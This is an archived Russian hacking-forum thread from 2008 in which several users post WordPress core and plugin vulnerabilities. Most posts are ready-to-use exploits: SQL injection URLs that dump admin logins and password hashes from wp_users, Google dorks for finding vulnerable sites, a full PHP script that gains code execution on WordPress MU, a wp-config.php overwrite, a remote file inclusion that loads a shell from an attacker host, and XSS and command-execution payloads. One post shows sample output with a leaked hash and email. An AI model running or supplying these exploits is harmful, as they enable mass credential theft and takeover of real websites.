Форум АНТИЧАТ (http://forum.antichat.ru/index.php)
-   Сценарии/CMF/СMS (http://forum.antichat.ru/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей WordPress ] (http://forum.antichat.ru/showthread.php?t=50572)

Elekt 24.01.2008 05:35


=====================

Изменения в версиях для общего ознакомления:

_http://trac.wordpress.org/changeset?old_path=tags%2F2.3.1&old=6528&new_path=tags%2F2.3.2&new=6528

_http://trac.wordpress.org/query?component=Security&milestone=2.3.2&order=priority

=====================

Описание: Перебор логина/пароля в обход логирования.

Возможность определение логина, перебора пароля через куки(wp-login.php), базик-авторизацию(wp-app.php).

PHP код:
 function wp_login()

__('<strong>ERROR</strong>: Invalid username.');
__('<strong>ERROR</strong>: Incorrect password.'); 


========================

Описание: Раскрытие COOKIEHASH.

Иногда бывают траблы с формированием куков для эксплоита.
Обычно это происходит, если блог работает на несколько доменов/субдоменов сразу.
"siteurl" добытый из базы не подходит.
В хидере нас вернется пустой кукис с префиксом.

/wp-login.php?action=logout

/wp-pass.php

=====================

Описание: Права админа: Запись в wp-config.php

Отстутствие проверки имени файла при записи.

Читать в wp-config.php нельзя. Но при записи забыли поставить проверку.

Можно указать свой удаленный сервер и поадминить блог через свою бд.


Читать нельзя:
/wp-admin/templates.php?file=wp-config.php

Но можно писать:
/wp-admin/templates.php
POST: newcontent=<?php;phpinfo();?>&action=update&file=wp-config.php

=====================

Описание: Passive XSS $_POST['pages-sortby']

Права: админ

Примеры уязвимого кода:

/wp-admin/widgets.php

PHP код:
 function wp_widget_pages_control() {

        
$sortby stripslashes$_POST['pages-sortby'] );

                    <
option value="post_title"<?php selected$options['sortby'], 'post_title' ); ?>><?php _e('Page title'); ?></option>
                    <option value="menu_order"<?php selected$options['sortby'], 'menu_order' ); ?>><?php _e('Page order'); ?></option>
                    <option value="ID"<?php selected$options['sortby'], 'ID' ); ?>><?php _e'Page ID' ); ?></option> 


=====================

Описание: Хранение пароля и логина админа к мылу в открытом виде в бд, отображение в админке.

/wp-admin/options-writing.php

wp_options
-mailserver_login
-mailserver_pass

=====================

Описание: При импорте блога, если присутствуют посты без автора(анонимы), создается юзверь с дефолтными настройками.

Тоесть возможно существование учеток с дефолтным паролем "password".

Примеры уязвимого кода:

/wp-admin/import/greymatter.php

PHP код:
 $user_id username_exists($post_author);
                if (!
$user_id) {    // if deleted from GM, we register the author as a level 0 user
                    
$user_ip="127.0.0.1";
                    
$user_domain="localhost";
                    
$user_browser="server";
                    
$user_joindate="1979-06-06 00:41:00";
                    
$user_login=$wpdb->escape($post_author);
                    
$pass1=$wpdb->escape("password");
                    
$user_nickname=$wpdb->escape($post_author);
                    
$user_email=$wpdb->escape("user@deleted.com");
                    
$user_url=$wpdb->escape("");
                    
$user_joindate=$wpdb->escape($user_joindate);

                    
$user_info = array("user_login"=>$user_login"user_pass"=>$pass1"user_nickname"=>$user_nickname"user_email"=>$user_email"user_url"=>$user_url"user_ip"=>$user_ip"user_domain"=>$user_domain"user_browser"=>$user_browser"dateYMDhour"=>$user_joindate"user_level"=>0"user_idmode"=>"nickname");
                    
$user_id wp_insert_user($user_info);
                    
$this->gmnames[$postinfo[1]] = $user_id



=====================

halkfild 28.01.2008 13:52

# Author : Houssamix From H-T Team
# Script : Wordpress Plugin fGallery 2.4.1
# Download : http://www.fahlstad.se/wp-plugins/fgallery/
# BUG : Remote SQL Injection Vulnerability
# Dork : inurl:/wp-content/plugins/fgallery/

## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/fgallery/fim_rss.php ~~~~~~~~~~~~~

PHP код:
 $cat $wpdb->get_row("SELECT * FROM $cats WHERE id = $_GET[album]");
$images $wpdb->get_results("SELECT * FROM $imgs WHERE cat = $_GET[album] AND status = 'include'"); 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~

# Exploit :
[Target.il]/[wordpress_path]//wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users --

Example
Цитата:
http://site.il/wordpress/wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users --

src='http://site.il/wordpress/wp-content/fgallery/thumb_admin:051e3db4c8eee42d7c93df48dffe4d5f:marku s@swimatyourownrisk.com' /><br>5 markus@swimatyourownrisk.com Thu, 01 Jan 1970 00:00:00 +0100



# Script : Wordpress Plugin WP-Cal
# Download : http://www.fahlstad.se/wp-plugins/wp-cal/
# BUG : Remote SQL Injection Vulnerability
# Dorks : inurl:/wp-content/plugins/wp-cal/
inurl:/WP-Cal/

## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/wp-cal/functions/editevent.php ~~~~~~~~~~~~~
PHP код:
 $id $_GET['id'];
    
$event $wpdb->get_row("SELECT * FROM $table WHERE id = $id"); 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~

# Exploit :
/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--

example :
Цитата:
http://site.il/wordpress/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--

Solide Snake 31.01.2008 10:49

Wordpress Plugin wp-adserve (adclick.php) SQL Injection

SQL Injection:

Код:
http://www.site.com/wp-content/plugins/wp-adserve/adclick.php?id=-1%20union%20select%20concat(0x7c,user_login,0x7c,u ser_pass,0x7c)%20from%20wp_users


Для поиска вводим:

Код:
allinurl: "wp-adserve"



Wordpress Plugin WassUp 1.4.1 Remote SQL Injection

SQL Injection:

Код:
http://www.site.com/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%200,1,2,conca t(0x7c,user_login,0x7c,user_pass,0x7c),3,4,0x7c,6, 0x7c,8,9,10%20%20from%20wp_users


Для поиска вводим:

Код:
allinurl: "plugins/wassup"


(c)

iddqd 02.02.2008 22:35

Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities

PoC:

http://milw0rm.com/exploits/5035

Wordpress Plugin Wordspew Remote SQL Injection Vulnerability

PoC:

http://milw0rm.com/exploits/5039

iddqd 03.02.2008 23:11

Wordpress Pluging wp-footnotes 2.2

Multiple XSS

Код:
http://site.tld/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_foot notes_current_settings[priority]="><script>alert("XSS" )</script> http://site.tld/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_foot notes_current_settings[style_rules]=</textarea><script>alert(" XSS")</script> http://site.tld/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current _settings[pre_footnotes]=</textarea><script>alert("XSS" )</script> http://site.tld/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current _settings[post_footnotes]=</textarea><script>alert(":- (")

Solide Snake 04.02.2008 15:04

Wordpress Plugin st_newsletter Remote SQL Injection

SQL Injection

Код:
wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users


Для поиска:

Код:
allinurl :"wp-content/plugins/st_newsletter" allinurl :"shiftthis-preview.php"


(c)

iddqd 05.02.2008 18:32

Wordpress MU < 1.3.2 active_plugins option Code Execution

Exploit:

PHP код:
<?php
/*
WordPress [MU] blog's options overwrite

Credits : Alexander Concha <alex at buayacorp dot com>
Website : http://www.buayacorp.com/
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html

This exploit uses active_plugins option to execute arbitrary PHP
*/
include_once './class-snoopy.php';

// Fix Snoopy
class SnoopyExt extends Snoopy {
    function 
_prepare_post_body($formvars$formfiles) {
        if ( 
is_string($formvars) ) {
            return 
$formvars;
        }
        return 
parent::_prepare_post_body($formvars$formfiles);
    }
}

set_time_limit);

// Any user with 'manage_options' and 'upload_files' capabilities
$user 'user';
$pass '1234';
$blog_url 'http://localhost.localdomain/mu/';
$remote_file ''// relative path to wp-content
$local_file ''// the contents of this file, if any, will be uploaded

$snoopy = new SnoopyExt();

$snoopy->maxredirs 0;
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user'pwd' => $pass));

$snoopy->setcookies(); // Set auth cookies for future requests

if ( empty($remote_file) ) {
    
// Upload a new file
    
$snoopy->_submit_type 'image/gif';
    
$snoopy->submit("{$blog_url}wp-app.php?action=/attachments"get_contents());

    if ( 
preg_match('#<id>([^<]+)</id>#i'$snoopy->results$match) ) {
        
$remote_file basename($match[1]);
    }
}
if ( empty(
$remote_file) ) die('Exploit failed...');

// Look for real path
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");

if ( 
preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#"$snoopy->results$match) ) {
    
$remote_file preg_replace('#.*?wp-content#'''$match[1]);
}
if ( empty(
$remote_file) ) die('Exploit failed...');

// It asumes that file uploads are stored within wp-content 
$remote_file '../' ltrim($remote_file'/');

$snoopy->fetch("{$blog_url}wp-admin/plugins.php");

// Recover previous active plugins
$active_plugins = array();
if ( 
preg_match_all('#action=deactivate&([^\']+)#'$snoopy->results$matches) ) {
    foreach (
$matches[0] as $plugin) {
        if ( 
preg_match('#plugin=([^&]+)#'$plugin$match) )
            
$active_plugins[] = urldecode($match[1]);
    }
    
print_r($active_plugins);
}
$active_plugins[] = $remote_file;

// Fetch a valid nonce
$snoopy->fetch("{$blog_url}wp-admin/options-general.php");

if ( 
preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#'$snoopy->results$match) ) {

    
// Finally update active_plugins
    
$snoopy->set_submit_normal();
    
$snoopy->submit("{$blog_url}wp-admin/options.php",
        array(
            
'active_plugins' => $active_plugins,
            
'_wpnonce' => $match[1],
            
'action' => 'update',
            
'page_options' => 'active_plugins',
        ));
}

function 
get_contents() {
    global 
$local_file;

    return 
file_exists($local_file) ? file_get_contents($local_file) : '<?php echo "Hello World " . __FILE__; ?>';
}
?>

# milw0rm.com [2008-02-05]

FraiDex 15.02.2008 21:14

Wordpress Plugin Simple Forum 1.10-1.11 SQL Injection Vulnerability

example

Код:
http://xxxxx/forums?forum=xxxx&topic= (expliot)


EXPLOİT 1 :


Код:
-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*

EXPLOİT 2 :


Код:
SİMETİMES YOU CANT SEE (xxxx&topic) SOO USE THİS EXPLOİT AFTER forum=xxx(number)



example


Код:
www.xxxxx/forums?forum=1(expliot) &topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*


Wordpress Plugin Simple Forum 2.0-2.1 SQL Injection Vulnerability

example :

Код:
http://www.xxx.com/sf-forum?forum=[exploit]


EXPLOIT 1 :

Код:
-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*


exploit 2 :

Код:
-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0, 0,0,0/**/FROM/**/wp_users/*


(с)milw0rm.com

gibson 17.02.2008 02:26

Wordpress Photo album Remote SQL Injection Vulnerability

EXAMPLE
Цитата:
http://xxxxxxxx/?page_id=13&album= [exploit]


Сплоит
Цитата:
user_name&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201


зы
Цитата:
allinurl: page_id album "photo"

Auth S@BUN http://milw0rm.com/exploits/5135

iddqd 27.02.2008 16:32

Wordpress Plugin Sniplets 1.1.2 Multiple Vulnerabilities
 
RFI

Register Globals: ON

PoC:

Код:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight. php?libpath=http://attacker.tld/shell.txt?


XSS

Register Globals: ON

PoC:

Код:
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/warning.php ?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/notice.php? text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/inset.php?t ext=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/submenu.php?ur l=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/scrip t%3E http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text= %3Cli%3E


Register Globals: Off

Код:
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/pager.php?page =%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script %3E


Remote Code Execution

Register Globals: ON

PoC:

Код:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text= %3C?php%20system(%22ls%22);


Московское время: 17:59.

Powered by: vBulletin Version 3.0.x
Copyright ©2000 - 2014, Jelsoft Enterprises Ltd.